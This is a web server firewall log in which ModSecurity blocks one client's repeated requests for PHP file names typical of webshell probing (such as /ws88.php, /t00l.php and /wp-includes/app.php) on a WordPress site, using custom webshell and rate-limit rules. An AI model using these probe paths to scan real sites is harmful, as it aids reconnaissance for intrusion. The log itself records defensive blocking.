[Tue Mar 24 21:22:13.131086 2026] [:error] [pid 3137:tid 3139] [client 20.19.171.59:18896] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "acKQBZdZesutm6dfYM9ASgAAAMA"]
[Tue Mar 24 21:22:36.973631 2026] [:error] [pid 3031:tid 3087] [client 20.19.171.59:35796] [client 20.19.171.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/app.php"] [unique_id "acKQHKJBKytnG47nuiY8PgAAAEs"]
[Tue Mar 24 21:22:51.435688 2026] [:error] [pid 64198:tid 64208] [client 20.19.171.59:10235] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acKQK3VzJqf6OS_oSZ3MFwAAAUg"]
[Tue Mar 24 21:22:52.654532 2026] [:error] [pid 48219:tid 48303] [client 20.19.171.59:11325] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acKQLChf3b4R_lAIyv-LiwAAAhY"]
[Tue Mar 24 21:22:53.770863 2026] [:error] [pid 64198:tid 64212] [client 20.19.171.59:1050] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acKQLXVzJqf6OS_oSZ3MIAAAAUw"]
[Tue Mar 24 21:22:54.924576 2026] [:error] [pid 48128:tid 48158] [client 20.19.171.59:16515] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5.php"] [unique_id "acKQLsvR4LIMFLbM5Vk-jgAAAYc"]
[Tue Mar 24 21:22:55.166632 2026] [:error] [pid 3032:tid 3119] [client 20.19.171.59:11328] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acKQLya_-JXXD03-JNxdLwAAAJA"]
[Tue Mar 24 21:22:56.280601 2026] [:error] [pid 48128:tid 48174] [client 20.19.171.59:1087] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acKQMMvR4LIMFLbM5Vk-jwAAAZU"]
[Tue Mar 24 21:22:56.813991 2026] [:error] [pid 64198:tid 64210] [client 20.19.171.59:10452] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acKQMHVzJqf6OS_oSZ3MKQAAAUo"]
[Tue Mar 24 21:22:57.579125 2026] [:error] [pid 64198:tid 64219] [client 20.19.171.59:10461] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aapig.php"] [unique_id "acKQMXVzJqf6OS_oSZ3MLQAAAVM"]
[Tue Mar 24 21:22:59.296973 2026] [:error] [pid 3032:tid 3105] [client 20.19.171.59:9689] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acKQMya_-JXXD03-JNxdMAAAAII"]
[Tue Mar 24 21:22:59.831286 2026] [:error] [pid 38767:tid 38781] [client 20.19.171.59:9702] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acKQM_wkUqN4GJAI5oVUNwAAAQs"]
[Tue Mar 24 21:23:00.402175 2026] [:error] [pid 48219:tid 48289] [client 20.19.171.59:9711] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acKQNChf3b4R_lAIyv-LlAAAAgg"]
[Tue Mar 24 21:23:01.445409 2026] [:error] [pid 3137:tid 3159] [client 20.19.171.59:31978] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/com.php"] [unique_id "acKQNZdZesutm6dfYM9AZwAAANQ"]
[Tue Mar 24 21:23:02.192009 2026] [:error] [pid 3030:tid 3057] [client 20.19.171.59:9685] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acKQNgyOuILyynfcqfllKAAAAAg"]
[Tue Mar 24 21:23:02.985217 2026] [:error] [pid 48219:tid 48290] [client 20.19.171.59:31938] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acKQNihf3b4R_lAIyv-LmwAAAgk"]
[Tue Mar 24 21:23:04.017176 2026] [:error] [pid 64198:tid 64211] [client 20.19.171.59:13523] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acKQOHVzJqf6OS_oSZ3MNAAAAUs"]
[Tue Mar 24 21:23:04.829545 2026] [:error] [pid 48219:tid 48283] [client 20.19.171.59:9688] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "acKQOChf3b4R_lAIyv-LnwAAAgI"]
[Tue Mar 24 21:23:05.802251 2026] [:error] [pid 48214:tid 48261] [client 20.19.171.59:8683] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acKQObeshLWZ3uUDHKl25QAAAck"]
[Tue Mar 24 21:23:06.548737 2026] [:error] [pid 3032:tid 3106] [client 20.19.171.59:10883] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acKQOia_-JXXD03-JNxdOAAAAIM"]
[Tue Mar 24 21:23:08.072655 2026] [:error] [pid 48214:tid 48252] [client 20.19.171.59:9921] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acKQPLeshLWZ3uUDHKl26gAAAcA"]
[Tue Mar 24 21:23:08.957110 2026] [:error] [pid 3030:tid 3073] [client 20.19.171.59:11098] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "acKQPAyOuILyynfcqfllLgAAABg"]
[Tue Mar 24 21:23:09.952386 2026] [:error] [pid 64198:tid 64205] [client 20.19.171.59:9671] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acKQPXVzJqf6OS_oSZ3MPwAAAUU"]
[Tue Mar 24 21:23:10.698213 2026] [:error] [pid 64198:tid 64216] [client 20.19.171.59:10718] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acKQPnVzJqf6OS_oSZ3MRAAAAVA"]
[Tue Mar 24 21:23:11.427086 2026] [:error] [pid 64198:tid 64218] [client 20.19.171.59:25355] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acKQP3VzJqf6OS_oSZ3MRwAAAVI"]
[Tue Mar 24 21:23:12.102151 2026] [:error] [pid 48128:tid 48152] [client 20.19.171.59:8708] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "acKQQMvR4LIMFLbM5Vk-kgAAAYM"]
[Tue Mar 24 21:23:13.099332 2026] [:error] [pid 48128:tid 48170] [client 20.19.171.59:11111] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acKQQcvR4LIMFLbM5Vk-lQAAAZE"]
[Tue Mar 24 21:23:13.901328 2026] [:error] [pid 3031:tid 3090] [client 20.19.171.59:13521] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acKQQaJBKytnG47nuiY8QwAAAE4"]
[Tue Mar 24 21:23:14.853852 2026] [:error] [pid 3030:tid 3051] [client 20.19.171.59:7496] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acKQQgyOuILyynfcqfllMQAAAAI"]
[Tue Mar 24 21:23:15.727077 2026] [:error] [pid 48214:tid 48269] [client 20.19.171.59:9980] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wander.php"] [unique_id "acKQQ7eshLWZ3uUDHKl27QAAAdE"]
[Tue Mar 24 21:23:16.348979 2026] [:error] [pid 64198:tid 64200] [client 20.19.171.59:40892] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acKQRHVzJqf6OS_oSZ3MWQAAAUA"]
[Tue Mar 24 21:23:17.058046 2026] [:error] [pid 48219:tid 48296] [client 20.19.171.59:27997] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acKQRShf3b4R_lAIyv-LvAAAAg8"]
[Tue Mar 24 21:23:17.720944 2026] [:error] [pid 48214:tid 48255] [client 20.19.171.59:8696] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acKQRbeshLWZ3uUDHKl27gAAAcM"]
[Tue Mar 24 21:23:18.333623 2026] [:error] [pid 38767:tid 38783] [client 20.19.171.59:9090] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acKQRvwkUqN4GJAI5oVUQgAAAQ0"]
[Tue Mar 24 21:23:19.220485 2026] [:error] [pid 64198:tid 64213] [client 20.19.171.59:8941] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acKQR3VzJqf6OS_oSZ3MYwAAAU0"]
[Tue Mar 24 21:23:20.157978 2026] [:error] [pid 48214:tid 48263] [client 20.19.171.59:23920] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acKQSLeshLWZ3uUDHKl28gAAAcs"]
[Tue Mar 24 21:23:20.798673 2026] [:error] [pid 38767:tid 38773] [client 20.19.171.59:10760] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acKQSPwkUqN4GJAI5oVURgAAAQM"]
[Tue Mar 24 21:23:21.545548 2026] [:error] [pid 48219:tid 48282] [client 20.19.171.59:19335] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "acKQSShf3b4R_lAIyv-LvgAAAgE"]
[Tue Mar 24 21:23:22.231403 2026] [:error] [pid 64198:tid 64200] [client 20.19.171.59:23919] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acKQSnVzJqf6OS_oSZ3MdAAAAUA"]
[Tue Mar 24 21:23:22.782836 2026] [:error] [pid 38767:tid 38789] [client 20.19.171.59:11103] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acKQSvwkUqN4GJAI5oVUSgAAARM"]
[Tue Mar 24 21:23:23.446598 2026] [:error] [pid 3032:tid 3115] [client 20.19.171.59:14820] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acKQSya_-JXXD03-JNxdQwAAAIw"]
[Tue Mar 24 21:23:24.023582 2026] [:error] [pid 64198:tid 64204] [client 20.19.171.59:28004] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "acKQTHVzJqf6OS_oSZ3MegAAAUQ"]
[Tue Mar 24 21:23:24.593475 2026] [:error] [pid 3032:tid 3128] [client 20.19.171.59:39891] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acKQTCa_-JXXD03-JNxdRQAAAJg"]
[Tue Mar 24 21:23:25.454151 2026] [:error] [pid 3032:tid 3112] [client 20.19.171.59:10764] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acKQTSa_-JXXD03-JNxdSAAAAIk"]
[Tue Mar 24 21:23:26.080328 2026] [:error] [pid 3032:tid 3118] [client 20.19.171.59:11134] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acKQTia_-JXXD03-JNxdTQAAAI8"]
[Tue Mar 24 21:23:26.687770 2026] [:error] [pid 64198:tid 64217] [client 20.19.171.59:14847] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tool.php"] [unique_id "acKQTnVzJqf6OS_oSZ3MfQAAAVE"]
[Tue Mar 24 21:23:27.237759 2026] [:error] [pid 3137:tid 3160] [client 20.19.171.59:41865] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "acKQT5dZesutm6dfYM9AdQAAANU"]
[Tue Mar 24 21:23:27.811155 2026] [:error] [pid 3031:tid 3096] [client 20.19.171.59:14797] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "acKQT6JBKytnG47nuiY8SAAAAFQ"]
[Tue Mar 24 21:23:28.445980 2026] [:error] [pid 48214:tid 48261] [client 20.19.171.59:27998] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "acKQULeshLWZ3uUDHKl2_AAAAck"]
[Tue Mar 24 21:23:29.038311 2026] [:error] [pid 3137:tid 3141] [client 20.19.171.59:14796] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "acKQUZdZesutm6dfYM9AfAAAAMI"]
[Tue Mar 24 21:23:29.762018 2026] [:error] [pid 48219:tid 48301] [client 20.19.171.59:40863] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "acKQUShf3b4R_lAIyv-LxwAAAhQ"]
[Tue Mar 24 21:23:30.364900 2026] [:error] [pid 3137:tid 3162] [client 20.19.171.59:41889] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "acKQUpdZesutm6dfYM9AfwAAANc"]
[Tue Mar 24 21:23:30.967778 2026] [:error] [pid 3032:tid 3104] [client 20.19.171.59:11112] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "acKQUia_-JXXD03-JNxdUgAAAIE"]
[Tue Mar 24 21:23:31.622473 2026] [:error] [pid 64198:tid 64220] [client 20.19.171.59:8898] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/web.php"] [unique_id "acKQU3VzJqf6OS_oSZ3MhQAAAVQ"]
[Tue Mar 24 21:23:32.426788 2026] [:error] [pid 64198:tid 64216] [client 20.19.171.59:40844] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acKQVHVzJqf6OS_oSZ3MigAAAVA"]
[Tue Mar 24 21:23:33.116648 2026] [:error] [pid 64198:tid 64209] [client 20.19.171.59:17642] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acKQVXVzJqf6OS_oSZ3MjAAAAUk"]
[Tue Mar 24 21:23:33.714649 2026] [:error] [pid 48219:tid 48296] [client 20.19.171.59:9707] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acKQVShf3b4R_lAIyv-LzQAAAg8"]
